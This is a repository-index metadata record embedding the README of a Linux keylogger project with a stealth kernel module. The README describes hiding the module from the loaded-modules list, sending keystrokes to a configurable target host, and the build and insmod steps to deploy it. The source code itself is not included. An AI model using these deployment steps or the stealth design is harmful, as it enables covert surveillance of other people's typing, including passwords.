{"id":24414437,"url":"https://github.com/usbokirishima/0","last_synced_at":"2025-04-12T03:40:52.149Z","repository":{"id":263994197,"uuid":"891607138","full_name":"UsboKirishima/0","owner":"UsboKirishima","description":"An advanced keylogger with both kernel and userspace mode support. Implements stealth functionality and netlink socket communication.","archived":false,"fork":false,"pushed_at":"2024-11-21T11:48:08.000Z","size":35,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-25T23:13:31.451Z","etag":null,"topics":["c","hacking","kernel","kernel-module","keylogger","linux","makefile","malware","remote-access-tool","rootkit","spyware","unix"],"latest_commit_sha":null,"homepage":"https://333revenge.art","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/UsboKirishima.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-11-20T16:22:03.000Z","updated_at":"2025-03-11T18:34:05.000Z","dependencies_parsed_at":"2024-11-21T12:33:37.167Z","dependency_job_id":"39b6106b-fb10-4c76-bb74-4978bc719b51","html_url":"https://github.com/UsboKirishima/0","commit_stats":null,"previous_names":["usbokirishima/0"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UsboKirishima%2F0","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UsboKirishima%2F0/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UsboKirishima%2F0/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/UsboKirishima%2F0/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/UsboKirishima","download_url":"https://codeload.github.com/UsboKirishima/0/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248514229,"owners_count":21116899,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c","hacking","kernel","kernel-module","keylogger","linux","makefile","malware","remote-access-tool","rootkit","spyware","unix"],"created_at":"2025-01-20T07:18:26.600Z","updated_at":"2025-04-12T03:40:52.131Z","avatar_url":"https://github.com/UsboKirishima.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 0 Keylogger\n\nAn advanced keylogger with both kernel and userspace mode support. Implements stealth functionality and netlink socket communication.\n\n## Features\n\n- Kernel mode (stealth)\n- Userspace mode with assembly support\n- Netlink socket communication\n- Optional debug logging\n- Automatic keyboard device detection\n- Kernel module hiding\n- Separate receiver with human-readable output\n- Session logging with timestamps\n- JSON configuration support\n- Configurable network settings\n\n## Requirements\n\n- Linux kernel headers\n- NASM assembler\n- GCC compiler\n- Make\n- Jansson library (for JSON parsing)\n\n## Installation\n\n1. Install dependencies:\n```bash\n# Debian/Ubuntu\nsudo apt-get install build-essential linux-headers-$(uname -r) nasm libjansson-dev\n\n# Fedora\nsudo dnf install gcc make kernel-devel nasm jansson-devel\n\n# Arch Linux\nsudo pacman -S base-devel linux-headers nasm jansson\n```\n\n2. Clone the repository:\n```bash\ngit clone https://github.com/UsboKirishima/0\ncd 0\n```\n\n3. Build the project:\n```bash\nmake\n```\n\n## Configuration\n\nThe keylogger can be configured using the `config.json` file:\n\n```json\n{\n    \"network\": {\n        \"host\": \"127.0.0.1\",\n        \"port\": 8888,\n        \"protocol\": \"udp\"\n    },\n    \"logging\": {\n        \"enabled\": true,\n        \"file\": \"keylog.txt\",\n        \"format\": \"[%timestamp%] %key%\",\n        \"timestamp_format\": \"%Y-%m-%d %H:%M:%S\"\n    },\n    \"security\": {\n        \"stealth_mode\": true,\n        \"encrypt_logs\": false\n    },\n    \"debug\": {\n        \"enabled\": false,\n        \"verbose\": false\n    }\n}\n```\n\n### Configuration Options\n\n- `network`: Network communication settings\n  - `host`: Target host for sending keystrokes\n  - `port`: UDP port number\n  - `protocol`: Communication protocol (currently only UDP)\n- `logging`: Logging configuration\n  - `enabled`: Enable/disable logging\n  - `file`: Log file path\n  - `format`: Log entry format\n  - `timestamp_format`: Timestamp format string\n- `security`: Security settings\n  - `stealth_mode`: Enable/disable stealth features\n  - `encrypt_logs`: Enable/disable log encryption\n- `debug`: Debug settings\n  - `enabled`: Enable/disable debug output\n  - `verbose`: Enable verbose logging\n\n## Usage\n\n### Kernel Mode (Stealth)\n\n1. Load the kernel module (requires root):\n```bash\nsudo insmod 0.ko\n```\n\n2. Start the receiver (can run as normal user):\n```bash\n./receiver [optional_log_file]\n```\n\n3. Or start the keylogger in kernel mode:\n```bash\nsudo ./0 --kernel\n```\n\n4. To remove the module:\n```bash\nsudo rmmod 0\n```\n\n### Userspace Mode\n\nSimply run:\n```bash\n./0\n```\n\nThe program will automatically detect the keyboard device.\n\n### Receiver\n\nThe receiver provides human-readable output and session logging:\n\n```bash\n# Default logging to keylog.txt\n./receiver\n\n# Custom log file\n./receiver /path/to/logfile.txt\n```\n\nLog format example:\n```\n--- Session started at Wed Mar 13 10:00:00 2024 ---\n[2024-03-13 10:00:05] h\n[2024-03-13 10:00:05] e\n[2024-03-13 10:00:05] l\n[2024-03-13 10:00:05] l\n[2024-03-13 10:00:05] o\n[2024-03-13 10:00:06] [Enter]\n--- Session ended at Wed Mar 13 10:00:10 2024 ---\n```\n\n## Debug\n\nTo enable debug logging, compile with the DEBUG flag:\n```bash\nmake CFLAGS=\"-DDEBUG\"\n```\n\nLogs will be saved using slog.\n\n## Project Structure\n\n```\n.\n├── src/\n│   ├── 0.c              # Main file\n│   ├── receiver.c       # Human-readable output receiver\n│   ├── read_event.asm   # Assembly implementation\n│   └── slog.c           # Logger\n├── include/\n│   ├── 0.h             # Main header\n│   └── slog.h          # Logger header\n└── Makefile\n```\n\n## Security Notes\n\n- Kernel module requires root privileges\n- Kernel mode is hidden from loaded modules list\n- Data is transmitted locally via netlink socket\n- Receiver can run as normal user\n- Log files are created with current user permissions\n\n## License\n\nThis project is released under GPL v3 license.\n\n## Author\n\n- 333revenge\n\n## Disclaimer\n\nThis software was created for educational purposes only. Misuse of this software may constitute a criminal offense in some jurisdictions. The author assumes no liability for misuse of this software.\n\n## Contributing\n\n1. Fork the project\n2. Create your feature branch (`git checkout -b feature/AmazingFeature`)\n3. Commit your changes (`git commit -m 'Add some AmazingFeature'`)\n4. Push to the branch (`git push origin feature/AmazingFeature`)\n5. Open a Pull Request\n\n## Known Issues\n\n- Kernel module might require recompilation when kernel is updated\n- Some keyboard layouts might not be detected correctly in userspace mode\n- Receiver must be restarted if kernel module is reloaded\n\n## Support\n\nFor bug reports or feature requests, please open an issue on GitHub.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fusbokirishima%2F0","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fusbokirishima%2F0","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fusbokirishima%2F0/lists"}